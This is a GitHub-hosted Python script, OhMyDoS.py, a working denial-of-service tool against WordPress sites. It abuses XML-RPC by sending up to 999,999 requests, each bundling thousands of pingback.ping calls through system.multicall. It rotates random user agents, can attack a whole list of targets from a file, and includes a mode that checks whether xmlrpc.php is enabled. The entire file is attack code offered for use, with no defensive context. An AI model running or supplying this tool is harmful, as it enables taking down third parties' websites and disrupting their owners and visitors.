-
Notifications
You must be signed in to change notification settings - Fork 6
/
OhMyDoS.py
195 lines (156 loc) · 7.69 KB
/
OhMyDoS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
import sys
import requests
import urllib3
from random_user_agent.user_agent import UserAgent
from random_user_agent.params import SoftwareName, OperatingSystem
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class colors:
YELLOW = '\033[33m'
GREEN = '\033[92m'
RED = '\033[91m'
PURPLE = '\033[35m'
CLEAR = '\033[0m'
BOLD = '\033[1m'
def usage_die():
print(
f"\n{colors.RED}[!] Usage: python3 {sys.argv[0]} <check> <wordpress_targer>{colors.CLEAR}")
print(
f"{colors.RED}[!] Usage: python3 {sys.argv[0]} <attack> <pingback_URL> <wordpress_targer>{colors.CLEAR}\n")
exit(1)
def build_entry(pingback, target):
entry = "<value><struct><member><name>methodName</name><value>pingback.ping</value></member><member>"
entry += f"<name>params</name><value><array><data><value>{pingback}</value>"
entry += f"<value>{target}/?p=1</value></data></array></value></member></struct></value>"
return entry
def build_request(pingback, target, entries):
prefix = "<methodCall><methodName>system.multicall</methodName><params><param><array>"
suffix = "</array></param></params></methodCall>"
request = prefix
for _ in range(0, entries):
request += build_entry(pingback, target)
request += suffix
return request
def get_args():
if len(sys.argv) == 1:
usage_die()
multiple_targets = "N"
if sys.argv[1] == "check":
if len(sys.argv) != 3:
usage_die()
else:
action = sys.argv[1]
target = sys.argv[2]
if ".txt" in target:
multiple_targets = "Y"
return (action, "", target, 0, multiple_targets, 0)
if sys.argv[1] == "attack":
action = sys.argv[1]
pingback = sys.argv[2]
target = sys.argv[3]
# multiple target attack - default configuration
entries = 2000
requests_nummber = 999999
if ".txt" in target:
multiple_targets = "Y"
for i in range(len(sys.argv)):
if sys.argv[i] == "-e":
entries = int(sys.argv[i+1])
elif sys.argv[i] == "-r":
requests_nummber = int(sys.argv[i+1])
return (action, pingback, target, entries, multiple_targets, requests_nummber)
def single_target_attack(pingback, target, entries, user_agent, requests_nummber):
print(f"[>] Target : {colors.PURPLE}{target}{colors.CLEAR}")
print(f"[>] Building {entries} pingback calls per one request")
data = build_request(pingback, target, entries)
print(f"[>] Request size: {len(data)/1000} kB")
print(
f"\n{colors.YELLOW}[~] Starting attack, press CTRL+C to stop ...{colors.CLEAR}")
count = 0
try:
while requests_nummber:
try:
r = requests.post(
f"{target}/xmlrpc.php", data, headers={"user-agent": user_agent}, verify=False, allow_redirects=False, timeout=.2)
if r.status_code != 200:
print(
f"\n{colors.RED}[!] Received odd status ({r.status_code}) -- DoS successful?{colors.CLEAR}\n")
except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
pass
except (requests.exceptions.MissingSchema) as e:
print(
f"{colors.RED}[!]{colors.CLEAR} Check supplied target address : {colors.PURPLE}{target}{colors.CLEAR}")
break
count += 1
print(f"\r[>] Requests sent : {count}", end="")
requests_nummber -= 1
except KeyboardInterrupt:
print(
f"\n\n{colors.GREEN}[!] Attack interrupted by keypress{colors.CLEAR}\n")
exit(0)
print(f"\n\n----------------------------------------------------------------------------")
def multiple_targets_attack(pingback, targets, entries, user_agent, requests_nummber):
for target in targets:
single_target_attack(pingback, target, entries,
user_agent, requests_nummber)
def check_xmlrpc(target, user_agent):
print(
f"[>] Checking if XML-RPC for {colors.PURPLE}{target}{colors.CLEAR} is enabled ...")
try:
r = requests.get(f"{target}/xmlrpc.php", headers={"user-agent": user_agent},
verify=False, allow_redirects=False, timeout=5)
if r.text == "XML-RPC server accepts POST requests only.":
print(f"{colors.GREEN}[>] XML-RPC enabled.{colors.CLEAR}\n")
else:
print(f"{colors.RED}[!] XML-RPC not enabled.{colors.CLEAR}\n")
except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
print(f"{colors.RED}[!] Connection error.{colors.CLEAR}\n")
exit(1)
except (requests.exceptions.MissingSchema) as e:
print(
f"{colors.RED}[!]{colors.CLEAR} Check supplied target address : {colors.PURPLE}{target}{colors.CLEAR}\n")
print(f"----------------------------------------------------------------------------")
def get_random_user_agent():
software_names = [SoftwareName.CHROME.value,
SoftwareName.FIREFOX.value, SoftwareName.EDGE.value]
operating_systems = [OperatingSystem.WINDOWS.value,
OperatingSystem.LINUX.value]
user_agent_rotator = UserAgent(
software_names=software_names, operating_systems=operating_systems, limit=100)
user_agent = user_agent_rotator.get_random_user_agent()
return user_agent
def main():
banner()
action, pingback, target, entries, multiple_targets, requests_nummber = get_args()
user_agent = get_random_user_agent()
print(
f"----------------------------------------------------------------------------")
if action == "attack":
if multiple_targets == "N":
single_target_attack(pingback, target, entries,
user_agent, requests_nummber)
elif multiple_targets == "Y":
with open(target, "r") as file:
targets = file.read().splitlines()
multiple_targets_attack(
pingback, targets, entries, user_agent, requests_nummber)
elif action == "check":
if multiple_targets == "N":
check_xmlrpc(target, user_agent)
elif multiple_targets == "Y":
with open(target, "r") as file:
targets = file.read().splitlines()
for target in targets:
check_xmlrpc(target, user_agent)
def banner():
print(r"""
▒█████ ██░ ██ ███▄ ▄███▓▓██ ██▓ ▓█████▄ ▒█████ ██████
▒██▒ ██▒▓██░ ██▒ ▓██▒▀█▀ ██▒ ▒██ ██▒ ▒██▀ ██▌▒██▒ ██▒▒██ ▒
▒██░ ██▒▒██▀▀██░ ▓██ ▓██░ ▒██ ██░ ░██ █▌▒██░ ██▒░ ▓██▄
▒██ ██░░▓█ ░██ ▒██ ▒██ ░ ▐██▓░ ░▓█▄ ▌▒██ ██░ ▒ ██▒
░ ████▓▒░░▓█▒░██▓ ▒██▒ ░██▒ ░ ██▒▓░ ░▒████▓ ░ ████▓▒░▒██████▒▒
░ ▒░▒░▒░ ▒ ░░▒░▒ ░ ▒░ ░ ░ ██▒▒▒ ▒▒▓ ▒ ░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░
░ ▒ ▒░ ▒ ░▒░ ░ ░ ░ ░ ▓██ ░▒░ ░ ▒ ▒ ░ ▒ ▒░ ░ ░▒ ░ ░
░ ░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ ░ ▒ ░ ░
""")
if __name__ == "__main__":
main()